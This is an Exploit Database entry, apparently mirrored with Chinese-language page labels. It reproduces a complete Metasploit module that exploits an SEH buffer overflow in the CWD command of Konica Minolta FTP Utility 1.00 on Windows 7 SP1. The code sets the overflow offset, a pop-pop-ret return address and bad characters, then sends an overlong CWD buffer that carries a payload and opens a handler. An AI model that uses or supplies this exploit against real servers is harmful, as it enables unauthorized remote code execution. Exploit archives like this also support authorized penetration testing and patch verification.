Konica Minolta FTP Utility 1.00 – (Authenticated) CWD Command Overflow (SEH) (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2015-09-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38254/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
  'Description' => %q{
  This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
  Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
  leads to an SEH overflow.Konica FTP allows anonymous access by default; valid
  credentials are typically unnecessary to exploit this vulnerability.
  },
  'Author' =>
  [
  'Shankar Damodaran', # stack buffer overflow dos p.o.c
  'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
  ],
  'License' => MSF_LICENSE,
  'References' =>
  [
  [ 'EBD', '37908' ]
  ],
  'Privileged' => false,
  'Payload' =>
  {
  'Space' => 1500,
  'BadChars' => "\x00\x0a\x2f\x5c",
  'DisableNops' => true
  },
  'Platform' => 'win',
  'Targets' =>
  [
  [
  'Windows 7 SP1 x86',
  {
  'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
  'Offset' => 1037
  }
  ]
  ],
  'DisclosureDate' => 'Aug 23 2015',
  'DefaultTarget' => 0))
  end
  
  def check
  connect
  disconnect
  
  if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
  return Exploit::CheckCode::Detected
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  connect_login
  
  buf = rand_text(target['Offset'])
  buf << generate_seh_record(target.ret)
  buf << payload.encoded
  buf << rand_text(3000)
  
  print_status("Sending exploit buffer...")
  send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
  
  handler
  disconnect
  end
  end